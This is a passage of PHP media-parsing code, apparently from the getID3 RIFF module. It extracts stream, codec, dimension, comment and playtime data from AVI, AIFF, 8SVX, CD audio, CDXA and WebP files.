						$thisfile_video['resolution_y']              = $thisfile_riff_video_current['frame_height'];
					}
					if ($thisfile_riff_raw_avih['dwTotalFrames'] > 0) { // @phpstan-ignore-line
						$thisfile_riff_video_current['total_frames'] = $thisfile_riff_raw_avih['dwTotalFrames'];
						$thisfile_video['total_frames']              = $thisfile_riff_video_current['total_frames'];
					}

					$thisfile_riff_video_current['frame_rate'] = round(1000000 / $thisfile_riff_raw_avih['dwMicroSecPerFrame'], 3);
					$thisfile_video['frame_rate'] = $thisfile_riff_video_current['frame_rate'];
				}
				if (isset($thisfile_riff['AVI ']['hdrl']['strl']['strh'][0]['data'])) {
					if (is_array($thisfile_riff['AVI ']['hdrl']['strl']['strh'])) {
						$thisfile_riff_raw_strf_strhfccType_streamindex = null;
						for ($i = 0; $i < count($thisfile_riff['AVI ']['hdrl']['strl']['strh']); $i++) {
							if (isset($thisfile_riff['AVI ']['hdrl']['strl']['strh'][$i]['data'])) {
								$strhData = $thisfile_riff['AVI ']['hdrl']['strl']['strh'][$i]['data'];
								$strhfccType = substr($strhData,  0, 4);

								if (isset($thisfile_riff['AVI ']['hdrl']['strl']['strf'][$i]['data'])) {
									$strfData = $thisfile_riff['AVI ']['hdrl']['strl']['strf'][$i]['data'];

									if (!isset($thisfile_riff_raw['strf'][$strhfccType][$streamindex])) {
										$thisfile_riff_raw['strf'][$strhfccType][$streamindex] = null;
									}
									// shortcut
									$thisfile_riff_raw_strf_strhfccType_streamindex = &$thisfile_riff_raw['strf'][$strhfccType][$streamindex];

									switch ($strhfccType) {
										case 'auds':
											$thisfile_audio['bitrate_mode'] = 'cbr';
											$thisfile_audio_dataformat      = 'wav';
											if (isset($thisfile_riff_audio) && is_array($thisfile_riff_audio)) {
												$streamindex = count($thisfile_riff_audio);
											}

											$thisfile_riff_audio[$streamindex] = self::parseWAVEFORMATex($strfData);
											$thisfile_audio['wformattag'] = $thisfile_riff_audio[$streamindex]['raw']['wFormatTag'];

											// shortcut
											$thisfile_audio['streams'][$streamindex] = $thisfile_riff_audio[$streamindex];
											$thisfile_audio_streams_currentstream = &$thisfile_audio['streams'][$streamindex];

											if ($thisfile_audio_streams_currentstream['bits_per_sample'] == 0) {
												unset($thisfile_audio_streams_currentstream['bits_per_sample']);
											}
											$thisfile_audio_streams_currentstream['wformattag'] = $thisfile_audio_streams_currentstream['raw']['wFormatTag'];
											unset($thisfile_audio_streams_currentstream['raw']);

											// shortcut
											$thisfile_riff_raw['strf'][$strhfccType][$streamindex] = $thisfile_riff_audio[$streamindex]['raw'];

											unset($thisfile_riff_audio[$streamindex]['raw']);
											$thisfile_audio = getid3_lib::array_merge_noclobber($thisfile_audio, $thisfile_riff_audio[$streamindex]);

											$thisfile_audio['lossless'] = false;
											switch ($thisfile_riff_raw_strf_strhfccType_streamindex['wFormatTag']) {
												case 0x0001:  // PCM
													$thisfile_audio_dataformat  = 'wav';
													$thisfile_audio['lossless'] = true;
													break;

												case 0x0050: // MPEG Layer 2 or Layer 1
													$thisfile_audio_dataformat = 'mp2'; // Assume Layer-2
													break;

												case 0x0055: // MPEG Layer 3
													$thisfile_audio_dataformat = 'mp3';
													break;

												case 0x00FF: // AAC
													$thisfile_audio_dataformat = 'aac';
													break;

												case 0x0161: // Windows Media v7 / v8 / v9
												case 0x0162: // Windows Media Professional v9
												case 0x0163: // Windows Media Lossess v9
													$thisfile_audio_dataformat = 'wma';
													break;

												case 0x2000: // AC-3
													$thisfile_audio_dataformat = 'ac3';
													break;

												case 0x2001: // DTS
													$thisfile_audio_dataformat = 'dts';
													break;

												default:
													$thisfile_audio_dataformat = 'wav';
													break;
											}
											$thisfile_audio_streams_currentstream['dataformat']   = $thisfile_audio_dataformat;
											$thisfile_audio_streams_currentstream['lossless']     = $thisfile_audio['lossless'];
											$thisfile_audio_streams_currentstream['bitrate_mode'] = $thisfile_audio['bitrate_mode'];
											break;


										case 'iavs':
										case 'vids':
											// shortcut
											$thisfile_riff_raw['strh'][$i]                  = array();
											$thisfile_riff_raw_strh_current                 = &$thisfile_riff_raw['strh'][$i];

											$thisfile_riff_raw_strh_current['fccType']               =                         substr($strhData,  0, 4);  // same as $strhfccType;
											$thisfile_riff_raw_strh_current['fccHandler']            =                         substr($strhData,  4, 4);
											$thisfile_riff_raw_strh_current['dwFlags']               = $this->EitherEndian2Int(substr($strhData,  8, 4)); // Contains AVITF_* flags
											$thisfile_riff_raw_strh_current['wPriority']             = $this->EitherEndian2Int(substr($strhData, 12, 2));
											$thisfile_riff_raw_strh_current['wLanguage']             = $this->EitherEndian2Int(substr($strhData, 14, 2));
											$thisfile_riff_raw_strh_current['dwInitialFrames']       = $this->EitherEndian2Int(substr($strhData, 16, 4));
											$thisfile_riff_raw_strh_current['dwScale']               = $this->EitherEndian2Int(substr($strhData, 20, 4));
											$thisfile_riff_raw_strh_current['dwRate']                = $this->EitherEndian2Int(substr($strhData, 24, 4));
											$thisfile_riff_raw_strh_current['dwStart']               = $this->EitherEndian2Int(substr($strhData, 28, 4));
											$thisfile_riff_raw_strh_current['dwLength']              = $this->EitherEndian2Int(substr($strhData, 32, 4));
											$thisfile_riff_raw_strh_current['dwSuggestedBufferSize'] = $this->EitherEndian2Int(substr($strhData, 36, 4));
											$thisfile_riff_raw_strh_current['dwQuality']             = $this->EitherEndian2Int(substr($strhData, 40, 4));
											$thisfile_riff_raw_strh_current['dwSampleSize']          = $this->EitherEndian2Int(substr($strhData, 44, 4));
											$thisfile_riff_raw_strh_current['rcFrame']               = $this->EitherEndian2Int(substr($strhData, 48, 4));

											$thisfile_riff_video_current['codec'] = self::fourccLookup($thisfile_riff_raw_strh_current['fccHandler']);
											$thisfile_video['fourcc']             = $thisfile_riff_raw_strh_current['fccHandler'];
											if (!$thisfile_riff_video_current['codec'] && isset($thisfile_riff_raw_strf_strhfccType_streamindex['fourcc']) && self::fourccLookup($thisfile_riff_raw_strf_strhfccType_streamindex['fourcc'])) {
												$thisfile_riff_video_current['codec'] = self::fourccLookup($thisfile_riff_raw_strf_strhfccType_streamindex['fourcc']);
												$thisfile_video['fourcc']             = $thisfile_riff_raw_strf_strhfccType_streamindex['fourcc'];
											}
											$thisfile_video['codec']              = $thisfile_riff_video_current['codec'];
											$thisfile_video['pixel_aspect_ratio'] = (float) 1;
											switch ($thisfile_riff_raw_strh_current['fccHandler']) {
												case 'HFYU': // Huffman Lossless Codec
												case 'IRAW': // Intel YUV Uncompressed
												case 'YUY2': // Uncompressed YUV 4:2:2
													$thisfile_video['lossless'] = true;
													break;

												default:
													$thisfile_video['lossless'] = false;
													break;
											}

											switch ($strhfccType) {
												case 'vids':
													$thisfile_riff_raw_strf_strhfccType_streamindex = self::ParseBITMAPINFOHEADER(substr($strfData, 0, 40), ($this->container == 'riff'));
													$thisfile_video['bits_per_sample'] = $thisfile_riff_raw_strf_strhfccType_streamindex['biBitCount'];

													if ($thisfile_riff_video_current['codec'] == 'DV') {
														$thisfile_riff_video_current['dv_type'] = 2;
													}
													break;

												case 'iavs':
													$thisfile_riff_video_current['dv_type'] = 1;
													break;
											}
											break;

										default:
											$this->warning('Unhandled fccType for stream ('.$i.'): "'.$strhfccType.'"');
											break;

									}
								}
							}

							if (isset($thisfile_riff_raw_strf_strhfccType_streamindex) && isset($thisfile_riff_raw_strf_strhfccType_streamindex['fourcc'])) {

								$thisfile_video['fourcc'] = $thisfile_riff_raw_strf_strhfccType_streamindex['fourcc'];
								if (self::fourccLookup($thisfile_video['fourcc'])) {
									$thisfile_riff_video_current['codec'] = self::fourccLookup($thisfile_video['fourcc']);
									$thisfile_video['codec']              = $thisfile_riff_video_current['codec'];
								}

								switch ($thisfile_riff_raw_strf_strhfccType_streamindex['fourcc']) {
									case 'HFYU': // Huffman Lossless Codec
									case 'IRAW': // Intel YUV Uncompressed
									case 'YUY2': // Uncompressed YUV 4:2:2
										$thisfile_video['lossless']        = true;
										//$thisfile_video['bits_per_sample'] = 24;
										break;

									default:
										$thisfile_video['lossless']        = false;
										//$thisfile_video['bits_per_sample'] = 24;
										break;
								}

							}
						}
					}
				}
				break;


			case 'AMV ':
				$info['fileformat'] = 'amv';
				$info['mime_type']  = 'video/amv';

				$thisfile_video['bitrate_mode']    = 'vbr'; // it's MJPEG, presumably contant-quality encoding, thereby VBR
				$thisfile_video['dataformat']      = 'mjpeg';
				$thisfile_video['codec']           = 'mjpeg';
				$thisfile_video['lossless']        = false;
				$thisfile_video['bits_per_sample'] = 24;

				$thisfile_audio['dataformat']   = 'adpcm';
				$thisfile_audio['lossless']     = false;
				break;


			// http://en.wikipedia.org/wiki/CD-DA
			case 'CDDA':
				$info['fileformat'] = 'cda';
				unset($info['mime_type']);

				$thisfile_audio_dataformat      = 'cda';

				$info['avdataoffset'] = 44;

				if (isset($thisfile_riff['CDDA']['fmt '][0]['data'])) {
					// shortcut
					$thisfile_riff_CDDA_fmt_0 = &$thisfile_riff['CDDA']['fmt '][0];

					$thisfile_riff_CDDA_fmt_0['unknown1']           = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'],  0, 2));
					$thisfile_riff_CDDA_fmt_0['track_num']          = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'],  2, 2));
					$thisfile_riff_CDDA_fmt_0['disc_id']            = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'],  4, 4));
					$thisfile_riff_CDDA_fmt_0['start_offset_frame'] = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'],  8, 4));
					$thisfile_riff_CDDA_fmt_0['playtime_frames']    = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'], 12, 4));
					$thisfile_riff_CDDA_fmt_0['unknown6']           = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'], 16, 4));
					$thisfile_riff_CDDA_fmt_0['unknown7']           = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'], 20, 4));

					$thisfile_riff_CDDA_fmt_0['start_offset_seconds'] = (float) $thisfile_riff_CDDA_fmt_0['start_offset_frame'] / 75;
					$thisfile_riff_CDDA_fmt_0['playtime_seconds']     = (float) $thisfile_riff_CDDA_fmt_0['playtime_frames'] / 75;
					$info['comments']['track_number']         = $thisfile_riff_CDDA_fmt_0['track_num'];
					$info['playtime_seconds']                 = $thisfile_riff_CDDA_fmt_0['playtime_seconds'];

					// hardcoded data for CD-audio
					$thisfile_audio['lossless']        = true;
					$thisfile_audio['sample_rate']     = 44100;
					$thisfile_audio['channels']        = 2;
					$thisfile_audio['bits_per_sample'] = 16;
					$thisfile_audio['bitrate']         = $thisfile_audio['sample_rate'] * $thisfile_audio['channels'] * $thisfile_audio['bits_per_sample'];
					$thisfile_audio['bitrate_mode']    = 'cbr';
				}
				break;

			// http://en.wikipedia.org/wiki/AIFF
			case 'AIFF':
			case 'AIFC':
				$info['fileformat'] = 'aiff';
				$info['mime_type']  = 'audio/x-aiff';

				$thisfile_audio['bitrate_mode'] = 'cbr';
				$thisfile_audio_dataformat      = 'aiff';
				$thisfile_audio['lossless']     = true;

				if (isset($thisfile_riff[$RIFFsubtype]['SSND'][0]['offset'])) {
					$info['avdataoffset'] = $thisfile_riff[$RIFFsubtype]['SSND'][0]['offset'] + 8;
					$info['avdataend']    = $info['avdataoffset'] + $thisfile_riff[$RIFFsubtype]['SSND'][0]['size'];
					if ($info['avdataend'] > $info['filesize']) {
						if (($info['avdataend'] == ($info['filesize'] + 1)) && (($info['filesize'] % 2) == 1)) {
							// structures rounded to 2-byte boundary, but dumb encoders
							// forget to pad end of file to make this actually work
						} else {
							$this->warning('Probable truncated AIFF file: expecting '.$thisfile_riff[$RIFFsubtype]['SSND'][0]['size'].' bytes of audio data, only '.($info['filesize'] - $info['avdataoffset']).' bytes found');
						}
						$info['avdataend'] = $info['filesize'];
					}
				}

				if (isset($thisfile_riff[$RIFFsubtype]['COMM'][0]['data'])) {

					// shortcut
					$thisfile_riff_RIFFsubtype_COMM_0_data = &$thisfile_riff[$RIFFsubtype]['COMM'][0]['data'];

					$thisfile_riff_audio['channels']         =         getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_COMM_0_data,  0,  2), true);
					$thisfile_riff_audio['total_samples']    =         getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_COMM_0_data,  2,  4), false);
					$thisfile_riff_audio['bits_per_sample']  =         getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_COMM_0_data,  6,  2), true);
					$thisfile_riff_audio['sample_rate']      = (int) getid3_lib::BigEndian2Float(substr($thisfile_riff_RIFFsubtype_COMM_0_data,  8, 10));

					if ($thisfile_riff[$RIFFsubtype]['COMM'][0]['size'] > 18) {
						$thisfile_riff_audio['codec_fourcc'] =                                   substr($thisfile_riff_RIFFsubtype_COMM_0_data, 18,  4);
						$CodecNameSize                       =         getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_COMM_0_data, 22,  1), false);
						$thisfile_riff_audio['codec_name']   =                                   substr($thisfile_riff_RIFFsubtype_COMM_0_data, 23,  $CodecNameSize);
						switch ($thisfile_riff_audio['codec_name']) {
							case 'NONE':
								$thisfile_audio['codec']    = 'Pulse Code Modulation (PCM)';
								$thisfile_audio['lossless'] = true;
								break;

							case '':
								switch ($thisfile_riff_audio['codec_fourcc']) {
									// http://developer.apple.com/qa/snd/snd07.html
									case 'sowt':
										$thisfile_riff_audio['codec_name'] = 'Two\'s Compliment Little-Endian PCM';
										$thisfile_audio['lossless'] = true;
										break;

									case 'twos':
										$thisfile_riff_audio['codec_name'] = 'Two\'s Compliment Big-Endian PCM';
										$thisfile_audio['lossless'] = true;
										break;

									default:
										break;
								}
								break;

							default:
								$thisfile_audio['codec']    = $thisfile_riff_audio['codec_name'];
								$thisfile_audio['lossless'] = false;
								break;
						}
					}

					$thisfile_audio['channels']        = $thisfile_riff_audio['channels'];
					if ($thisfile_riff_audio['bits_per_sample'] > 0) {
						$thisfile_audio['bits_per_sample'] = $thisfile_riff_audio['bits_per_sample'];
					}
					$thisfile_audio['sample_rate']     = $thisfile_riff_audio['sample_rate'];
					if ($thisfile_audio['sample_rate'] == 0) {
						$this->error('Corrupted AIFF file: sample_rate == zero');
						return false;
					}
					$info['playtime_seconds'] = $thisfile_riff_audio['total_samples'] / $thisfile_audio['sample_rate'];
				}

				if (isset($thisfile_riff[$RIFFsubtype]['COMT'])) {
					$offset = 0;
					$CommentCount                                   = getid3_lib::BigEndian2Int(substr($thisfile_riff[$RIFFsubtype]['COMT'][0]['data'], $offset, 2), false);
					$offset += 2;
					for ($i = 0; $i < $CommentCount; $i++) {
						$info['comments_raw'][$i]['timestamp']      = getid3_lib::BigEndian2Int(substr($thisfile_riff[$RIFFsubtype]['COMT'][0]['data'], $offset, 4), false);
						$offset += 4;
						$info['comments_raw'][$i]['marker_id']      = getid3_lib::BigEndian2Int(substr($thisfile_riff[$RIFFsubtype]['COMT'][0]['data'], $offset, 2), true);
						$offset += 2;
						$CommentLength                              = getid3_lib::BigEndian2Int(substr($thisfile_riff[$RIFFsubtype]['COMT'][0]['data'], $offset, 2), false);
						$offset += 2;
						$info['comments_raw'][$i]['comment']        =                           substr($thisfile_riff[$RIFFsubtype]['COMT'][0]['data'], $offset, $CommentLength);
						$offset += $CommentLength;

						$info['comments_raw'][$i]['timestamp_unix'] = getid3_lib::DateMac2Unix($info['comments_raw'][$i]['timestamp']);
						$thisfile_riff['comments']['comment'][] = $info['comments_raw'][$i]['comment'];
					}
				}

				$CommentsChunkNames = array('NAME'=>'title', 'author'=>'artist', '(c) '=>'copyright', 'ANNO'=>'comment');
				foreach ($CommentsChunkNames as $key => $value) {
					if (isset($thisfile_riff[$RIFFsubtype][$key][0]['data'])) {
						$thisfile_riff['comments'][$value][] = $thisfile_riff[$RIFFsubtype][$key][0]['data'];
					}
				}
/*
				if (isset($thisfile_riff[$RIFFsubtype]['ID3 '])) {
					getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.id3v2.php', __FILE__, true);
					$getid3_temp = new getID3();
					$getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp);
					$getid3_id3v2 = new getid3_id3v2($getid3_temp);
					$getid3_id3v2->StartingOffset = $thisfile_riff[$RIFFsubtype]['ID3 '][0]['offset'] + 8;
					if ($thisfile_riff[$RIFFsubtype]['ID3 '][0]['valid'] = $getid3_id3v2->Analyze()) {
						$info['id3v2'] = $getid3_temp->info['id3v2'];
					}
					unset($getid3_temp, $getid3_id3v2);
				}
*/
				break;

			// http://en.wikipedia.org/wiki/8SVX
			case '8SVX':
				$info['fileformat'] = '8svx';
				$info['mime_type']  = 'audio/8svx';

				$thisfile_audio['bitrate_mode']    = 'cbr';
				$thisfile_audio_dataformat         = '8svx';
				$thisfile_audio['bits_per_sample'] = 8;
				$thisfile_audio['channels']        = 1; // overridden below, if need be
				$ActualBitsPerSample               = 0;

				if (isset($thisfile_riff[$RIFFsubtype]['BODY'][0]['offset'])) {
					$info['avdataoffset'] = $thisfile_riff[$RIFFsubtype]['BODY'][0]['offset'] + 8;
					$info['avdataend']    = $info['avdataoffset'] + $thisfile_riff[$RIFFsubtype]['BODY'][0]['size'];
					if ($info['avdataend'] > $info['filesize']) {
						$this->warning('Probable truncated AIFF file: expecting '.$thisfile_riff[$RIFFsubtype]['BODY'][0]['size'].' bytes of audio data, only '.($info['filesize'] - $info['avdataoffset']).' bytes found');
					}
				}

				if (isset($thisfile_riff[$RIFFsubtype]['VHDR'][0]['offset'])) {
					// shortcut
					$thisfile_riff_RIFFsubtype_VHDR_0 = &$thisfile_riff[$RIFFsubtype]['VHDR'][0];

					$thisfile_riff_RIFFsubtype_VHDR_0['oneShotHiSamples']  =   getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'],  0, 4));
					$thisfile_riff_RIFFsubtype_VHDR_0['repeatHiSamples']   =   getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'],  4, 4));
					$thisfile_riff_RIFFsubtype_VHDR_0['samplesPerHiCycle'] =   getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'],  8, 4));
					$thisfile_riff_RIFFsubtype_VHDR_0['samplesPerSec']     =   getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'], 12, 2));
					$thisfile_riff_RIFFsubtype_VHDR_0['ctOctave']          =   getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'], 14, 1));
					$thisfile_riff_RIFFsubtype_VHDR_0['sCompression']      =   getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'], 15, 1));
					$thisfile_riff_RIFFsubtype_VHDR_0['Volume']            = getid3_lib::FixedPoint16_16(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'], 16, 4));

					$thisfile_audio['sample_rate'] = $thisfile_riff_RIFFsubtype_VHDR_0['samplesPerSec'];

					switch ($thisfile_riff_RIFFsubtype_VHDR_0['sCompression']) {
						case 0:
							$thisfile_audio['codec']    = 'Pulse Code Modulation (PCM)';
							$thisfile_audio['lossless'] = true;
							$ActualBitsPerSample        = 8;
							break;

						case 1:
							$thisfile_audio['codec']    = 'Fibonacci-delta encoding';
							$thisfile_audio['lossless'] = false;
							$ActualBitsPerSample        = 4;
							break;

						default:
							$this->warning('Unexpected sCompression value in 8SVX.VHDR chunk - expecting 0 or 1, found "'.$thisfile_riff_RIFFsubtype_VHDR_0['sCompression'].'"');
							break;
					}
				}

				if (isset($thisfile_riff[$RIFFsubtype]['CHAN'][0]['data'])) {
					$ChannelsIndex = getid3_lib::BigEndian2Int(substr($thisfile_riff[$RIFFsubtype]['CHAN'][0]['data'], 0, 4));
					switch ($ChannelsIndex) {
						case 6: // Stereo
							$thisfile_audio['channels'] = 2;
							break;

						case 2: // Left channel only
						case 4: // Right channel only
							$thisfile_audio['channels'] = 1;
							break;

						default:
							$this->warning('Unexpected value in 8SVX.CHAN chunk - expecting 2 or 4 or 6, found "'.$ChannelsIndex.'"');
							break;
					}

				}

				$CommentsChunkNames = array('NAME'=>'title', 'author'=>'artist', '(c) '=>'copyright', 'ANNO'=>'comment');
				foreach ($CommentsChunkNames as $key => $value) {
					if (isset($thisfile_riff[$RIFFsubtype][$key][0]['data'])) {
						$thisfile_riff['comments'][$value][] = $thisfile_riff[$RIFFsubtype][$key][0]['data'];
					}
				}

				$thisfile_audio['bitrate'] = $thisfile_audio['sample_rate'] * $ActualBitsPerSample * $thisfile_audio['channels'];
				if (!empty($thisfile_audio['bitrate'])) {
					$info['playtime_seconds'] = ($info['avdataend'] - $info['avdataoffset']) / ($thisfile_audio['bitrate'] / 8);
				}
				break;

			case 'CDXA':
				$info['fileformat'] = 'vcd'; // Asume Video CD
				$info['mime_type']  = 'video/mpeg';

				if (!empty($thisfile_riff['CDXA']['data'][0]['size'])) {
					getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio-video.mpeg.php', __FILE__, true);

					$getid3_temp = new getID3();
					$getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp);
					$getid3_mpeg = new getid3_mpeg($getid3_temp);
					$getid3_mpeg->Analyze();
					if (empty($getid3_temp->info['error'])) {
						$info['audio']   = $getid3_temp->info['audio'];
						$info['video']   = $getid3_temp->info['video'];
						$info['mpeg']    = $getid3_temp->info['mpeg'];
						$info['warning'] = $getid3_temp->info['warning'];
					}
					unset($getid3_temp, $getid3_mpeg);
				}
				break;

			case 'WEBP':
				// https://developers.google.com/speed/webp/docs/riff_container
				// https://tools.ietf.org/html/rfc6386
				// https://chromium.googlesource.com/webm/libwebp/+/master/doc/webp-lossless-bitstream-spec.txt
				$info['fileformat'] = 'webp';
				$info['mime_type']  = 'image/webp';

				if (!empty($thisfile_riff['WEBP']['VP8 '][0]['size'])) {
					$old_offset = $this->ftell();
					$this->fseek($thisfile_riff['WEBP']['VP8 '][0]['offset'] + 8); // 4 bytes "VP8 " + 4 bytes chunk size
					$WEBP_VP8_header = $this->fread(10);
					$this->fseek($old_offset);
					if (substr($WEBP_VP8_header, 3, 3) == "\x9D\x01\x2A") {
						$thisfile_riff['WEBP']['VP8 '][0]['keyframe']   = !(getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 0, 3)) & 0x800000);
						$thisfile_riff['WEBP']['VP8 '][0]['version']    =  (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 0, 3)) & 0x700000) >> 20;
						$thisfile_riff['WEBP']['VP8 '][0]['show_frame'] =  (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 0, 3)) & 0x080000);
						$thisfile_riff['WEBP']['VP8 '][0]['data_bytes'] =  (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 0, 3)) & 0x07FFFF) >>  0;

						$thisfile_riff['WEBP']['VP8 '][0]['scale_x']    =  (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 6, 2)) & 0xC000) >> 14;
						$thisfile_riff['WEBP']['VP8 '][0]['width']      =  (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 6, 2)) & 0x3FFF);
						$thisfile_riff['WEBP']['VP8 '][0]['scale_y']    =  (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 8, 2)) & 0xC000) >> 14;
						$thisfile_riff['WEBP']['VP8 '][0]['height']     =  (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 8, 2)) & 0x3FFF);

						$info['video']['resolution_x'] = $thisfile_riff['WEBP']['VP8 '][0]['width'];
						$info['video']['resolution_y'] = $thisfile_riff['WEBP']['VP8 '][0]['height'];
					} else {
						$this->error('Expecting 9D 01 2A at offset '.($thisfile_riff['WEBP']['VP8 '][0]['offset'] + 8 + 3).', found "'.getid3_lib::PrintHexBytes(substr($WEBP_VP8_header, 3, 3)).'"');
					}

				}
				if (!empty($thisfile_riff['WEBP']['VP8L'][0]['size'])) {
					$old_offset = $this->ftell();
					$this->fseek($thisfile_riff['WEBP']['VP8L'][0]['offset'] + 8); // 4 bytes "VP8L" + 4 bytes chunk size
					$WEBP_VP8L_header = $this->fread(10);
					$this->fseek($old_offset);
					if (substr($WEBP_VP8L_header, 0, 1) == "\x2F") {
						$width_height_flags = getid3_lib::LittleEndian2Bin(substr($WEBP_VP8L_header, 1, 4));
						$thisfile_riff['WEBP']['VP8L'][0]['width']         =        bindec(substr($width_height_flags, 18, 14)) + 1;
						$thisfile_riff['WEBP']['VP8L'][0]['height']        =        bindec(substr($width_height_flags,  4, 14)) + 1;
						$thisfile_riff['WEBP']['VP8L'][0]['alpha_is_used'] = (bool) bindec(substr($width_height_flags,  3,  1));
						$thisfile_riff['WEBP']['VP8L'][0]['version']       =        bindec(substr($width_height_flags,  0,  3));

						$info['video']['resolution_x'] = $thisfile_riff['WEBP']['VP8L'][0]['width'];
						$info['video']['resolution_y'] = $thisfile_riff['WEBP']['VP8L'][0]['height'];
					} else {
						$this->error('Expecting 2F at offset '.($thisfile_riff['WEBP']['VP8L'][0]['offset'] + 8).', found "'.getid3_lib::PrintHexBytes(substr($WEBP_VP8L_header, 0, 1)).'"');
					}

				}
				break;

			default:
				$this->error('Unknown RIFF type: expecting one of (WAVE|RMP3|AVI |CDDA|AIFF|AIFC|8SVX|CDXA|WEBP), found "'.$RIFFsubtype.'" instead');
				//unset($info['fileformat']);
		}

		switch ($RIFFsubtype) {
			case 'WAVE':
			case 'AIFF':
			case 'AIFC':
				$ID3v2_key_good = 'id3 ';
				$ID3v2_keys_bad = array('ID3 ', 'tag ');
				foreach ($ID3v2_keys_bad as $ID3v2_key_bad) {
					if (isset($thisfile_riff[$RIFFsubtype][$ID3v2_key_bad]) && !array_key_exists($ID3v2_key_good, $thisfile_riff[$RIFFsubtype])) {
						$thisfile_riff[$RIFFsubtype][$ID3v2_key_good] = $thisfile_riff[$RIFFsubtype][$ID3v2_key_bad];
						$this->warning('mapping "'.$ID3v2_key_bad.'" chunk to "'.$ID3v2_key_good.'"');
					}
				}

				if (isset($thisfile_riff[$RIFFsubtype]['id3 '])) {
					getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.id3v2.php', __FILE__, true);

					$getid3_temp = new getID3();
					$getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp);
					$getid3_id3v2 = new getid3_id3v2($getid3_temp);
					$getid3_id3v2->StartingOffset = $thisfile_riff[$RIFFsubtype]['id3 '][0]['offset'] + 8;
					if ($thisfile_riff[$RIFFsubtype]['id3 '][0]['valid'] = $getid3_id3v2->Analyze()) {
						$info['id3v2'] = $getid3_temp->info['id3v2'];
					}
					unset($getid3_temp, $getid3_id3v2);
				}
				break;
		}

		if (isset($thisfile_riff_WAVE['DISP']) && is_array($thisfile_riff_WAVE['DISP'])) {
			$thisfile_riff['comments']['title'][] = trim(substr($thisfile_riff_WAVE['DISP'][count($thisfile_riff_WAVE['DISP']) - 1]['data'], 4));
		}
		if (isset($thisfile_riff_WAVE['INFO']) && is_array($thisfile_riff_WAVE['INFO'])) {
			self::parseComments($thisfile_riff_WAVE['INFO'], $thisfile_riff['comments']);
		}
		if (isset($thisfile_riff['AVI ']['INFO']) && is_array($thisfile_riff['AVI ']['INFO'])) {
			self::parseComments($thisfile_riff['AVI ']['INFO'], $thisfile_riff['comments']);
		}

		if (empty($thisfile_audio['encoder']) && !empty($info['mpeg']['audio']['LAME']['short_version'])) {
			$thisfile_audio['encoder'] = $info['mpeg']['audio']['LAME']['short_version'];
		}

		if (!isset($info['playtime_seconds'])) {
			$info['playtime_seconds'] = 0;
		}
		if (isset($thisfile_riff_raw['strh'][0]['dwLength']) && isset($thisfile_riff_raw['avih']['dwMicroSecPerFrame'])) { // @phpstan-ignore-line
			// needed for >2GB AVIs where 'avih' chunk only lists number of frames in that chunk, not entire movie
			$info['playtime_seconds'] = $thisfile_riff_raw['strh'][0]['dwLength'] * ($thisfile_riff_raw['avih']['dwMicroSecPerFrame'] / 1000000);
		} elseif (isset($thisfile_riff_raw['avih']['dwTotalFrames']) && isset($thisfile_riff_raw['avih']['dwMicroSecPerFrame'])) { // @phpstan-ignore-line
			$info['playtime_seconds'] = $thisfile_riff_raw['avih']['dwTotalFrames'] * ($thisfile_riff_raw['avih']['dwMicroSecPerFrame'] / 1000000);
		}

		if ($info['playtime_seconds'] > 0) {
			if (isset($thisfile_riff_audio) && isset($thisfile_riff_video)) {

				if (!isset($info['bitrate'])) {
					$info['bitrate'] = ((($info['avdataend'] - $info['avdataoffset']) / $info['playtime_seconds']) * 8);
				}

			} elseif (isset($thisfile_riff_audio) && !isset($thisfile_riff_video)) {

				if (!isset($thisfile_audio['bitrate'])) {
					$thisfile_audio['bitrate'] = ((($info['avdataend'] - $info['avdataoffset']) / $info['playtime_seconds']) * 8);
				}

			} elseif (!isset($thisfile_riff_audio) && isset($thisfile_riff_video)) {

				if (!isset($thisfile_video['bitrate'])) {
					$thisfile_video['bitrate'] = ((($info['avdataend'] - $info['avdataoffset']) / $info['playtime_seconds']) * 8);
				}

			}
		}


		if (isset($thisfile_riff_video) && isset($thisfile_audio['bitrate']) && ($thisfile_audio['bitrate'] > 0) && ($info['playtime_seconds'] > 0)) {

			$info['bitrate'] = ((($info['avdataend'] - $info['avdataoffset']) / $info['playtime_seconds']) * 8);
			$thisfile_audio['bitrate'] = 0;
			$thisfile_video['bitrate'] = $info['bitrate'];
			foreach ($thisfile_riff_audio as $channelnumber => $audioinfoarray) {
				$thisfile_video['bitrate'] -= $audioinfoarray['bitrate'];
				$thisfile_audio['bitrate'] += $audioinfoarray['bitrate'];
			}
